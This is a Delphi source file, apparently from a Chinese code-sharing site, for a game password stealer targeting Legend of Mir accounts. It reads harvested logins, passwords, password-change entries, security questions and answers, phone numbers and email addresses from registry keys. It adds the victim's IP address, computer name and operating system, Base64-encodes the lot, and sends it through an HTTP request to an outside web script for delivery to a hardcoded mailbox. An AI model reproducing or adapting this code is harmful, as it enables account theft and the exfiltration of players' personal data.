📄 sendmail.pas.~11~
字号:
unit SendMail;
interface
uses winsock,Reg,windows,Other;
procedure SendEMail;
// procedure SendEMailOwn;
procedure ClearSH(Root:Hkey;StrPath:Pchar);
procedure ClearUnRecord(Root:Hkey;StrPath:Pchar;Flag:String);
implementation
uses SendMail2;
const CRLF=#13#10;
const WebStr='http://movie.lhjy.net/sendmail.asp';
const MyEMail='sboy_z@yahoo.com.cn';
function LocalIP:string;
type TaPInAddr=array [0..10] of PInAddr;
PaPInAddr=^TaPInAddr;
var phe:PHostEnt;
pptr:PaPInAddr;
Buffer:array [0..63] of char;
I:Integer;
GInitData:TWSADATA;
begin
WSAStartup($101,GInitData);
Result:='';
GetHostName(Buffer,SizeOf(Buffer));
phe:=GetHostByName(buffer);
if phe=nil then Exit;
pptr:=PaPInAddr(Phe^.h_addr_list);
I:=0;
while pptr^[I]<>nil do begin
result:=StrPas(inet_ntoa(pptr^[I]^));
Inc(I);
end;
WSACleanup;
End;
procedure ClearSH(Root:Hkey;StrPath:Pchar);
var SubKey,Key:String;
i,n,p:integer;
begin
//n:=0;
//p:=0;
n:=Getkeyname(Root,StrPath,SubKey);
if n>0 then begin
for i:=1 to n do begin
p:=pos(',',SubKey);
if p<>0 then
Key:=Copy(SubKey,1,p-1) else Key:=SubKey;
if readvalue(Root,pchar(Strpath+'\'+Key),'区域')='abcdefghijklmnopqrstuvwxyz1234567890' then
Delsub(Root,pchar(Strpath),pchar(Key));
delete(SubKey,1,p);
end;
end;
End;
procedure ClearUnRecord(Root:Hkey;StrPath:Pchar;Flag:String);
var SubKey,Key:String;
i,n,p:integer;
begin
//n:=0;
//p:=0;
n:=GetKeyname(Root,StrPath,SubKey);
if n>0 then begin
if Flag='Change password' then begin
for i:=1 to n do begin
p:=pos(',',SubKey);
if p<>0 then Key:=Copy(SubKey,1,p-1) else Key:=SubKey;
if (readvalue(Root,pchar(Strpath+'\'+Key),'ID')='') or
(readvalue(Root,pchar(Strpath+'\'+Key),'OP')='') or
(readvalue(Root,pchar(Strpath+'\'+Key),'NP')='') or
(readvalue(Root,pchar(Strpath+'\'+Key),'RE')='') or
(readvalue(Root,pchar(Strpath+'\'+Key),'NP')<>readvalue(Root,pchar(Strpath+'\'+Key),'RE')) then
Delsub(Root,pchar(Strpath),pchar(Key));
delete(SubKey,1,p);
end;
end;
if Flag='Registry' then begin
for i:=1 to n do begin
p:=pos(',',SubKey);
if p<>0 then Key:=Copy(SubKey,1,p-1) else Key:=SubKey;
if (readvalue(Root,pchar(Strpath+'\'+Key),'ID')='') or
(readvalue(Root,pchar(Strpath+'\'+Key),'PW')='') or
(readvalue(Root,pchar(Strpath+'\'+Key),'RE')='') or
(readvalue(Root,pchar(Strpath+'\'+Key),'NA')='') or
(readvalue(Root,pchar(Strpath+'\'+Key),'BI')='') or
(readvalue(Root,pchar(Strpath+'\'+Key),'Q1')='') or
(readvalue(Root,pchar(Strpath+'\'+Key),'A1')='') or
(readvalue(Root,pchar(Strpath+'\'+Key),'Q2')='') or
(readvalue(Root,pchar(Strpath+'\'+Key),'A2')='') or
(readvalue(Root,pchar(Strpath+'\'+Key),'PW')<>readvalue(Root,pchar(Strpath+'\'+Key),'RE')) then
Delsub(Root,pchar(Strpath),pchar(Key));
delete(SubKey,1,p);
end;
end;
end;
End;
function GetMailbody(var Body:string;ownok:boolean=false):String;
var SubKey,Key,Res,Temp,Tempok:string;
i,n,p:integer;
flag:Boolean;
TempPass:string;
begin
flag:=false;
//n:=0;
SubKey:='';
n:=getkeyname(HKEY_CLASSES_ROOT,SubSubKey,SubKey);
if n<>0 then begin
flag:=True; // '传奇登录'
Body:=MakeSelfCode(MSubject1)+'------------------------------';
Res:=Res+MakeSelfCode(MSubject1);
for i:=1 to n do begin //DOOP SUBKEY
p:=pos(',',SubKey);
if p<>0 then Key:=Copy(SubKey,1,p-1) else Key:=SubKey;
TempPass:=ReadValue(HKEY_CLASSES_ROOT,pchar(SubSubKey+'\'+Key),'PW');
Temp:=Temp+'区域:'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubSubKey+'\'+Key),'区域')+
'用户:'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubSubKey+'\'+Key),'ID')+
'密码:'+TempPass+
'服务器:'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubSubKey+'\'+Key),'SP');
if (ValueExists(hkey_classes_root,pchar(SubSubKey+'\'+Key),'JsN1')) and
(ValueExists(hkey_classes_root,pchar(SubSubKey+'\'+Key),'JsD1')) then
Temp:=Temp+'角色名1:'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubSubKey+'\'+Key),'JsN1')+
'职业1:'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubSubKey+'\'+Key),'JsZ1')+
'等级1:'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubSubKey+'\'+Key),'JsD1')+
'性别1:'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubSubKey+'\'+Key),'JsS1');
if (ValueExists(hkey_classes_root,pchar(SubSubKey+'\'+Key),'JsN2')) and
(ValueExists(hkey_classes_root,pchar(SubSubKey+'\'+Key),'JsD2')) then
Temp:=Temp+'角色名2:'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubSubKey+'\'+Key),'JsN2')+
'职业2:'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubSubKey+'\'+Key),'JsZ2')+
'等级2:'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubSubKey+'\'+Key),'JsD2')+
'性别2:'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubSubKey+'\'+Key),'JsS2');
if (ValueExists(hkey_classes_root,pchar(SubSubKey+'\'+Key),'ZB')) then begin
Res:=Res+' 装备';
Temp:=Temp+'装备'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubSubKey+'\'+Key),'ZB');
end;
delete(SubKey,1,p);
end;
Body:=Body+Temp;
end;
SubKey:='';
Temp:='';
n:=getkeyname(HKEY_CLASSES_ROOT,SubChange,SubKey);
if n<>0 then begin
flag:=True; //'修改密码'
Body:=Body+MakeSelfCode(MSubject2)+'------------------------------';
Res:=Res+MakeSelfCode(MSubject2); //修改密码
for i:=1 to n do begin
p:=pos(',',SubKey);
if p<>0 then Key:=Copy(SubKey,1,p-1) else Key:=SubKey;
TempPass:=ReadValue(HKEY_CLASSES_ROOT,pchar(SubChange+'\'+Key),'NP');
Temp:=Temp+'区域:'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubChange+'\'+Key),'区域')+ //Legend\Change password
'用户名:'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubChange+'\'+Key),'ID')+ // Legend\Change password
'当前密码:'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubChange+'\'+Key),'OP')+ // Legend\Change password
'新密码:'+TempPass+ //Legend\Change password
'重复:'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubChange+'\'+Key),'RE'); //Legend\Change password
delete(SubKey,1,p);
end;
Body:=Body+Temp;
end;
SubKey:='';
Temp:='';
n:=getkeyname(HKEY_CLASSES_ROOT,SubRegistry,SubKey);
if n<>0 then begin
flag:=True; //'新用户'
Body:=Body+MakeSelfCode(MSubject3)+'------------------------------';
Res:=Res+MakeSelfCode(MSubject3);
for i:=1 to n do begin
p:=pos(',',SubKey);
if p<>0 then Key:=Copy(SubKey,1,p-1) else Key:=SubKey;
Temp:=Temp+'区域:'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubRegistry+'\'+Key),'区域')+
'用户:'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubRegistry+'\'+Key),'ID')+
'密码:'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubRegistry+'\'+Key),'PW')+
'确认:'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubRegistry+'\'+Key),'RE')+
'你的名字:'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubRegistry+'\'+Key),'NA')+
'生日:'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubRegistry+'\'+Key),'BI')+
'提问1:'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubRegistry+'\'+Key),'Q1')+
'回答1:'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubRegistry+'\'+Key),'A1')+
'提问2:'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubRegistry+'\'+Key),'Q2')+
'回答2:'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubRegistry+'\'+Key),'A2')+
'电话号码:'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubRegistry+'\'+Key),'NU')+
'移动电话号码:'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubRegistry+'\'+Key),'MN')+
'E-Mail:'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubRegistry+'\'+Key),'EM');
delete(SubKey,1,p);
end;
Body:=Body+Temp;
end;
if flag then begin
Temp:='';
Temp:='附加信息'+'------------------------------'+
'IP地址:'+LocalIP+
'计算机名:'+myGetcomputername;
if WinX then
Temp:=Temp+'操作系统:win98'
else Temp:=Temp+'操作系统:win2000';
Temp:=Temp+'发送时间:'+GetDateTime+Tempok;
Temp:=Temp;
BODY:=BODY+TEMP;
end;
Result:=Res;
End;
function LookupName(const Name: string): TInAddr;
var
HostEnt: PHostEnt;
InAddr: TInAddr;
begin
HostEnt := gethostbyname(PChar(Name));
FillChar(InAddr, SizeOf(InAddr), 0);
if HostEnt <> nil then
begin
with InAddr, HostEnt^ do
begin
S_un_b.s_b1 := h_addr^[0];
S_un_b.s_b2 := h_addr^[1];
S_un_b.s_b3 := h_addr^[2];
S_un_b.s_b4 := h_addr^[3];
end;
end;
Result := InAddr;
end;
function HtmlEncode(s: string): string;
var
i, v1, v2: integer;
function i2s(b: byte): char;
begin
if b <= 9 then result := chr($30 + b)
else result := chr($41 - 10 + b);
end;
begin
result := '';
for i := 1 to length(s) do
if s[i] = ' ' then result := result + '+'
else if (s[i] < ' ') or (s[i] in ['/', '\', ':', '&', '?', '|']) then
begin
v1 := ord(s[i]) mod 16;
v2 := ord(s[i]) div 16;
result := result + '%' + i2s(v2) + i2s(v1);
end
else result := result + s[i];
end;
procedure SendEMail;
var
MailText:String;
Subject:String;
urlstr:String;
begin
Subject:=Getmailbody(MailText,true);
if Subject='' then exit;
urlstr:=WebStr+'?ToMail='+HtmlEncode(MyEMail)+'&MailBody='+HtmlEncode(Base64Encode(MailText));
//showmessage(urlstr);
SendHtmlMail(urlstr);
end;
End.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -